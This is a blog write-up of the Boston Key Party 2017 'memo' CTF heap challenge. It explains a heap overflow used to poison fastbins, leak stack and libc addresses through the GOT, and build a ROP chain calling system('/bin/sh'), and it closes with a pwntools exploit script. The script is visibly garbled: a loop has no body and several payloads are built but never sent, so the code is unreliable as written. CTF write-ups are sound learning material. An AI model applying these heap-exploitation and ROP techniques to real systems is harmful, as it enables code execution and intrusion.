Boston Key Party 2017 Memo Write up

Solved by 4rbit3r

Heap based challenges are my favourite. This was the first challenge that I had attempted and it was eventually the only one that I could solve. But was pretty interesting though.

As usual, the first step is to find out what all protections are enabled on the binary. Doing a checksec gives us the following information.

$ checksec memo

Arch: amd64-64-little
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

Okay, so just RELRO and NX. Nothing too bad.

Now let’s take a look at what the binary is doing.

  1. Firstly, it asks us to enter a username. After that, we can choose whether or not to enter a password.
  2. We can choose to create messages. Here it asks us for an index.
    1. First it checks if there is a value at the index we specified in a table which is meant to store the addresses of all chunks we create. This index has to be between 0 and 4. It stores this index in a global variable. Next, it asks for a size.
    2. If input_size < 32, allocate a chunk whose size is input_size and store the pointer in the table. Read input_size number of bytes into this chunk. Move the input_size into a table which stores the size values of all chunks.
    3. If input_size > 32, allocate a chunk of size 32, and read input_size number of bytes into this chunk (Overflow). Note that these chunks aren’t placed in the table.
  3. Edit the contents of one of the chunks that are in the table. Here the value of index is taken from the global variable.
  4. View the content of a chunk whose index in the table can be specified by the user.
  5. Remove a table entry. This free’s the chunk at index that is specified by the user and also updates the global variable.
  6. Change password. Here there lies an off by one overflow through which we can change the size of the first entry in the table and set it to a maximum of 255.

But the vulnerability I used was a bit different. We did see that, if we request a size of something greater than 32, there will be a buffer overflow. We can use this to our advantage to corrupt some fastbins. So the idea that I followed was to allocate 3 chunks. The chunks returned will be adjacent to each other. Now, remove the second and then the first. Now I could request a chunk of size > 32, and the last chunk I freed would be returned back to me. So essentially, I’d have a chunk where I could perform an overflow, followed by a chunk that lies in the fastbin. My idea was to overwrite the next pointer of this free chunk with something that I could overwrite.

The catch is that this next pointer should pass a sanity check that malloc does. Malloc checks if the size of the chunk at the top of the fastbin is really the same as that requested. If not, it throws a “corrupted fastbins” error. So I had to look for 0x31 somewhere in the binary.

Here, we could use our password buffer to store the value 0x31. So we could use the (address of that 0x31) + 8 as our next pointer of the free chunk.

After corrupting the next pointer of this free chunk, we need to call malloc twice to get a pointer to our fake chunk returned to us. The point to be noted is that the second call to malloc should be of a large enough size of overwrite the values of the table that contains the addresses of chunks. Once that is done, we can overwrite the values of the table with some address we like. I noticed that a stack address was getting copied into the table address + 40.

So in order to leak the stack address, I changed the first value of the table to table+40. Now choosing the view option would leak out the stack address to us.

Phew !

Now, we could use these same steps to modify the table again. I used this a second time to leak out the libc address of free by overwriting the first value in the table with the GOT address of free.

Using the same fastbin corruption method, we can now overwrite the next pointer of the free chunk to return a pointer to the stack.

Finally, once that’s all done, all that’s left is plain and simple ROP. And who doesn’t love ROP ?

It took some time, but not as much as I thought it would for this challenge. Anyway, pretty nice challenges. Good job admins.

Here’s the script

from pwn import *
import sys

heap_size = 0x602a38
pop_rdi_ret = 0x401263
pop_rsi_r15_ret = 0x401261
got_free = 0x601f78

def leave_msg(idx,size,payload):
	p.sendlineafter(">> ","1")
	p.sendlineafter(": ",str(idx))
	p.sendlineafter(": ",str(size))
	if size > 32:
		p.sendafter(": ",payload)

def edit_msg(payload):
	p.sendlineafter(">> ","2")
	p.sendlineafter(": ",payload)

def view(idx):
	p.sendlineafter(">> ","3")
	p.sendlineafter(": ",str(idx))
	p.recvuntil(": ")
	msg = u64(p.recvline().strip().ljust(8,"\x00"))
	return msg

def remove(idx):
	p.sendlineafter(">> ","4")
	p.sendlineafter(": ",str(idx))

def new_creds(old_pass,new_uname,new_pass):
	p.sendlineafter(">> ","5")
	p.sendlineafter(": ",old_pass)
	p.sendlineafter(": ",new_uname)
	p.sendlineafter(": ",new_pass)

if sys.argv[1] == "local":
	p = process("./memo")
elif sys.argv[1] == "remote":
	p = remote("",8888)
p.sendlineafter(": ","asdf")
p.sendlineafter(") ","y")
p.sendlineafter(": ",p64(0x31))
for x in range(3):
payload = fit({40:p64(0x31)+p64(heap_size)},length=60)
payload = fit({40:p64(0x602a98)},length=48)
stack = view(0)
log.success("Leaked stack address @ {}".format(hex(stack)))
payload = fit({24:p64(0xff),40:p64(0x31)+p64(heap_size)},length=60)
payload = fit({24:p64(0xff00000000),40:p64(got_free)+p64(stack)},length=56)
free = view(0)
system = free - 255728
binsh = free + 1084187
payload = fit({24:p64(pop_rdi_ret)+p64(binsh)+p64(pop_rsi_r15_ret)+p64(0)+p64(0)+p64(system)})

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Blog at

Up ↑

%d bloggers like this: